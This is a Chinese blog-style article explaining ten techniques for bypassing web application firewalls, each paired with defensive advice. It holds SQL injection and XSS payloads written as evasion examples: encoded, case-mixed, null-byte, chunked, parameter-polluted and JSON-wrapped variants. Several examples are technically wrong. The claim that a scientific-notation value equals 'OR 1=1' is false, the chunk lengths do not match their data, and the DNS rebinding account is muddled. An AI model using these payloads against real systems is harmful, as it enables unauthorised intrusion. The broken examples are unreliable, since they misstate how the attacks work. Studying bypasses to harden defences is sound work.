logo

WAF绕过技术全解析:10种实战方法与代码示例

作者:搬砖的石头2025.10.13 13:59浏览量:296

简介:本文深度解析了10种绕过Web应用防火墙(WAF)的技术,涵盖编码混淆、分块传输、协议变异、注释干扰、大小写混淆、特殊字符插入、参数污染、JSON劫持、HTTP方法替换及DNS重绑定等手段,结合代码示例揭示WAF规则的局限性,助力开发者提升安全防护能力。

WAF绕过的10种技术:技术细节与代码详解

Web应用防火墙(WAF)是保护Web应用免受SQL注入、XSS、CSRF等攻击的重要防线,但其规则依赖和模式匹配特性也使其存在被绕过的风险。本文将系统梳理10种常见的WAF绕过技术,结合代码示例与原理分析,帮助开发者理解攻击思路并优化防御策略。

1. 编码混淆绕过

原理:通过URL编码、Unicode编码或HTML实体编码混淆攻击载荷,使WAF无法识别恶意特征。
示例

  1. -- 原始SQL注入
  2. SELECT * FROM users WHERE id=1 OR 1=1
  3. -- URL编码绕过
  4. SELECT%20*%20FROM%20users%20WHERE%20id%3D1%20OR%201%3D1
  5. -- Unicode编码绕过(UTF-8
  6. \u0053\u0045\u004c\u0045\u0043\u0054 * FROM users WHERE id=1 OR 1=1

防御建议:WAF需支持多层次解码,并在解码后重新进行规则匹配。

2. 分块传输绕过

原理:利用HTTP分块传输编码(Chunked Transfer Encoding)拆分攻击载荷,分散恶意特征。
示例

  1. POST /login HTTP/1.1
  2. Transfer-Encoding: chunked
  3. 4
  4. admin'--
  5. 6
  6. OR 1=1--
  7. 0

防御建议:WAF需解析分块数据并重组后检测,或限制分块大小阈值。

3. 协议变异绕过

原理:通过修改HTTP协议字段(如Header顺序、大小写、空格)规避规则匹配。
示例

  1. -- 正常请求
  2. GET /index.php?id=1 HTTP/1.1
  3. Host: example.com
  4. -- 变异请求(大小写+空格)
  5. gEt /index.php?id=1 HTTp/1.1
  6. HoSt: example.com

防御建议:WAF需标准化HTTP协议字段后再检测,忽略无关差异。

4. 注释干扰绕过

原理:在攻击载荷中插入合法注释(如SQL注释--、HTML注释<!-- -->)混淆WAF规则。
示例

  1. -- SQL注入绕过
  2. SELECT * FROM users WHERE username='admin'--' AND password='123'
  3. -- XSS绕过
  4. <script><!--<img src=x onerror=alert(1)>--></script>

防御建议:WAF需解析注释内容并递归检测,或直接过滤注释符号。

5. 大小写混淆绕过

原理:混合使用大小写字母(如SeLeCtOr)规避关键词匹配。
示例

  1. SeLeCt * FrOm users WhErE id=1 Or 1=1

防御建议:WAF需将检测内容统一转换为小写或大写后再匹配。

6. 特殊字符插入绕过

原理:在攻击载荷中插入换行符(\n)、制表符(\t)或空字符(%00)破坏规则匹配。
示例

  1. -- 换行符绕过
  2. SELECT%0A*%0AFROM%0Ausers%0AWHERE%0Aid=1%0AOR%0A1=1
  3. -- 空字符绕过
  4. SEL%00ECT * FROM users WHERE id=1 OR 1=1

防御建议:WAF需规范化输入,去除无关空白字符后再检测。

7. 参数污染绕过

原理:通过重复参数或伪造参数名干扰WAF解析,使真实攻击参数被忽略。
示例

  1. -- 重复参数绕过
  2. /index.php?id=1&id=2' OR 1=1--&fake=test
  3. -- 伪造参数名绕过
  4. /index.php?_=1&id=1 OR 1=1&_=2

防御建议:WAF需解析所有参数并合并检测,或优先检测已知参数名。

8. JSON劫持绕过

原理:利用JSON格式的灵活性(如数组绕过、科学计数法)隐藏攻击载荷。
示例

  1. -- 数组绕过
  2. {"user": ["admin'", "' OR 1=1--"]}
  3. -- 科学计数法绕过
  4. {"id": 1e0+1} // 等价于 1 OR 1=1

防御建议:WAF需解析JSON结构并递归检测所有字段值。

9. HTTP方法替换绕过

原理:使用非常规HTTP方法(如PUTDELETE)或自定义方法发送攻击请求。
示例

  1. PUT /index.php HTTP/1.1
  2. Content-Type: application/x-www-form-urlencoded
  3. id=1 OR 1=1&action=login

防御建议:WAF需限制支持的HTTP方法,或对所有方法进行统一检测。

10. DNS重绑定绕过

原理:通过快速切换DNS解析结果,使WAF与后端服务器访问不同IP,绕过同源策略。
示例

  1. 攻击者注册域名example.com,并设置TTL为1秒。
  2. 首次解析返回WAF IP,后续解析返回内网服务器IP。
  3. 用户访问http://example.com/admin时,WAF放行请求,但实际请求到达内网。

防御建议:WAF需结合IP信誉库和实时DNS解析结果进行检测,或限制仅允许特定IP访问。

总结与防御建议

WAF绕过的本质是利用规则匹配的局限性,开发者需从以下角度优化防护:

  1. 多层次检测:结合静态规则、行为分析和机器学习模型。
  2. 输入规范化:统一解码、大小写转换和空白字符处理。
  3. 协议深度解析:支持分块传输、JSON等复杂格式解析。
  4. 动态防御:通过速率限制、IP封禁和验证码阻断自动化攻击。

安全是动态博弈的过程,开发者需持续关注最新攻击技术并更新防御策略。

相关文章推荐

发表评论

活动